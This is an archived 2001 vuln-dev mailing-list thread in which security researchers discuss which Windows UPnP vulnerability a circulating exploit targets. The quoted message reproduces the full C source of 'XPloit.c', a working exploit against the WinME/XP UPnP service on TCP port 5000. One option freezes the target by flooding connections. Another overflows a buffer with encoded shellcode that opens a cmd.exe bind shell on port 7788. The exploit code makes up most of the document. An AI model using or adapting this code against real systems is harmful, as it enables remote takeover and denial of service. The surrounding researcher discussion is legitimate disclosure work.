Re[2]: "Universal Plug and Play technology exploit code"
From: 3APA3A (3APA3A@SECURITY.NNOV.RU)Date: 12/25/01
- Previous message: Minchu Mo: "Is GOT exploitable in solaris?"
- In reply to: Ryan Permeh: "Re: "Universal Plug and Play technology exploit code""
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Date: Tue, 25 Dec 2001 11:25:25 +0300 From: 3APA3A <3APA3A@SECURITY.NNOV.RU> To: "Ryan Permeh" <ryan@eEye.com>
Hello Ryan,
Yes, this one is to another hole reported on Bugtraq by milo omega and
covered by MS01-54
http://www.security.nnov.ru/search/news.asp?binid=1518
There are another exploits known in-the-wild to this problem.
--Tuesday, December 25, 2001, 12:47:24 AM, you wrote to alterego@negaverse.org:
RP> iv'e been poking at the exploit, and from what i can see, this is NOT for
RP> the eeye advisory, perhaps another bug, but i don't have an xp machine here
RP> to do any type of analysis on this, so it is hard t say what it will do.
RP> This may even be a similar/same bug however, and somone found a different
RP> way of attacking it. port 5000 TCP is also involved in the upnp/SSDP
RP> protcol, and is hosted in svchost.exe, so until further analysis is done,
RP> little more can be said.
RP> Signed,
RP> Ryan Permeh
RP> eEye Digital Security Team
RP> http://www.eEye.com/Retina -Network Security Scanner
RP> http://www.eEye.com/Iris -Network Traffic Analyzer
RP> http://www.eEye.com/SecureIIS -Stop Known and Unknown IIS Vulnerabilities
RP> ----- Original Message -----
RP> From: "Sebastian Wells" <alterego@negaverse.org>
RP> To: <vuln-dev@securityfocus.com>
RP> Sent: Monday, December 24, 2001 9:45 AM
RP> Subject: Re: "Universal Plug and Play technology exploit code"
>> Is this an exploit to the most recent UPnP hole that was posted to
RP> bugtraq?
>> In the discussion of that vulnerability it was stated that UPnP was on UDP
>> port 1900.
>>
>> Am I just confused?
>>
>> - Sebastian
>> ----- Original Message -----
>> From: <KRFinisterre@checkfree.com>
>> To: <vuln-dev@security-focus.com>
>> Sent: Monday, December 24, 2001 10:48 AM
>> Subject: "Universal Plug and Play technology exploit code"
>>
>>
>> > This code is NOT by me... I found it on the net today and thought that
RP> you
>> > guys may enjoy it. I saw no copyrights on this or messages stating NOT
RP> to
>> > post this code.
>> >
>> > http://qb0x.net/exploits/XPloit.c
>> >
>> > /*
>> > * WinME/XP UPNP dos & overflow
>> > *
>> > * Run: ./XPloit host <option>
>> > *
>> > * Windows run the "Universal Plug and Play technology" service
>> > * at port 5000. In the future this will allow for seemless
>> > * connectivity of various devices such as a printer.
>> > * This service have a DoS and a buffer overflow I exploit here.
>> > *
>> > * PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
>> > *
>> > * Author: Gabriel Maggiotti
>> > * Email: gmaggiot@ciudad.com.ar
>> > * Webpage: http://qb0x.net
>> > */
>> >
>> > #include <stdio.h>
>> > #include <string.h>
>> > #include <stdlib.h>
>> > #include <errno.h>
>> > #include <string.h>
>> > #include <netdb.h>
>> > #include <sys/types.h>
>> > #include <netinet/in.h>
>> > #include <sys/socket.h>
>> > #include <sys/wait.h>
>> > #include <unistd.h>
>> > #include <fcntl.h>
>> >
>> > #define MAX 10000
>> > #define PORT 5000
>> > #define FREEZE 512
>> > #define NOP 0x43 //inc ebx, instead of 0x90
>> >
>> >
>>
RP> /***************************************************************************
>> /
>> >
>> >
>> > int main(int argc,char *argv[])
>> > {
>> > int sockfd[MAX];
>> > char sendXP[]="XP";
>> > char jmpcode[281], execode[840],request[2048];
>> > char *send_buffer;
>> > int num_socks;
>> > int bindport;
>> > int i;
>> > int port;
>> >
>> > unsigned char shellcode[] =
>> >
RP> "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
>>
>> >
RP> "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
>> >
RP> "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
>> >
RP> "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
>> >
RP> "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
>> >
RP> "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
>> >
RP> "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
>> >
RP> "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
>> >
RP> "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
>> >
RP> "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
>> >
RP> "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
>> >
RP> "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
>> >
RP> "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
>> >
RP> "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
>> >
RP> "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
>> >
RP> "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
>> >
RP> "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
>> >
RP> "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
>> > "
>> > \x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
>> >
RP> "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
>> >
RP> "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
>> >
RP> "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
>> >
RP> "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
>> >
RP> "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
>> >
RP> "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
>> >
RP> "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
>> >
RP> "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
>> >
RP> "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
>> >
RP> "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
>> >
RP> "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
>> >
RP> "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
>> >
RP> "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
>> >
RP> "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
>> >
RP> "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
>> >
RP> "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
>> >
RP> "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
>> >
RP> "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
>> >
RP> "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
>> >
RP> "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
>> >
RP> "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
>> >
>> > "
>> > \x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
>> >
RP> "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
>> >
RP> "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
>> >
RP> "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
>> >
RP> "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
>> >
RP> "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
>> >
RP> "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
>> >
RP> "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
>> >
RP> "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
>> >
RP> "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
>> > "\x68\x68\x68\x68";
>> > struct hostent *he;
>> > struct sockaddr_in their_addr;
>> >
>> >
>> > if(argc!=3)
>> > {
>> > fprintf(stderr,"usage:%s <hostname> <command>
>> > \n",argv[0]);
>> > fprintf(stderr,"-f freeze the machine.\n");
>> > fprintf(stderr,"-e exploit.\n");
>> > exit(1);
>> > }
>> >
>> >
>> > if(strstr(argv[2],"-f")) {
>> > num_socks=FREEZE;
>> > send_buffer=sendXP;
>> > }
>> >
>> > if(strstr(argv[2],"-e")) {
>> > num_socks=1;
>> > send_buffer=request;
>> > bindport^=0x9797;
>> > shellcode[778]= (bindport) & 0xff;
>> > shellcode[779]= (bindport >> 8) & 0xff;
>> >
>> > for(i = 0; i < 268; i++)
>> > jmpcode[i] = (char)NOP;
>> >
>> > jmpcode[268] = (char)0x4d;
>> > jmpcode[269] = (char)0x3f;
>> > jmpcode[270] = (char)0xe3;
>> > jmpcode[271] = (char)0x77;
>> > jmpcode[272] = (char)0x90;
>> > jmpcode[273] = (char)0x90;
>> > jmpcode[274] = (char)0x90;
>> > jmpcode[275] = (char)0x90;
>> >
>> > //jmp [ebx+0x64], jump to execute shellcode
>> > jmpcode[276] = (char)0xff;
>> > jmpcode[277] = (char)0x63;
>> > jmpcode[278] = (char)0x64;
>> > jmpcode[279] = (char)0x90;
>> > jmpcode[280] = (char)0x00;
>> >
>> > for(i = 0; i < 32; i++)
>> > execode[i] = (char)NOP;
>> > execode[32]=(char)0x00;
>> > strcat(execode, shellcode);
>> >
>> > snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode,
RP> execode);
>> > }
>> >
>> > if((he=gethostbyname(argv[1]))==NULL)
>> > {
>> > perror("gethostbyname");
>> > exit(1);
>> > }
>> >
>> >
>> >
>>
RP> /***************************************************************************
>> /
>> >
>> >
>> > for(i=0; i<num_socks;i++)
>> > if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0))
RP> == -1)
>> {
>> > perror("socket"); exit(1);
>> > }
>> >
>> >
>> > their_addr.sin_family=AF_INET;
>> > their_addr.sin_port=htons(PORT);
>> > their_addr.sin_addr=*((struct in_addr*)he->h_addr);
>> > bzero(&(their_addr.sin_zero),8);
>> >
>> >
>> >
>> > for(i=0; i<num_socks;i++)
>> > if( connect(sockfd[i],(struct
RP> sockaddr*)&their_addr,
>> > sizeof(struct sockaddr))==-1)
>> > {
>> > perror("connect");
>> > exit(1);
>> > }
>> >
>> >
>> > for(i=0; i<num_socks;i++)
>> > if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
>> > {
>> > perror("send");
>> > exit(0);
>> > }
>> >
>> >
>> > for(i=0; i<num_socks;i++)
>> > close(sockfd[i]);
>> >
>> >
>> > return 0;
>> > }
>> >
>> > -KF
>> >
>> >
>>
>>
-- ~/ZARAZA Человек это тайна... я занимаюсь этой тайной чтобы быть человеком. (Достоевский)
- Previous message: Minchu Mo: "Is GOT exploitable in solaris?"
- In reply to: Ryan Permeh: "Re: "Universal Plug and Play technology exploit code""
- Next in thread: Florian Weimer: "Re: "Universal Plug and Play technology exploit code""
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
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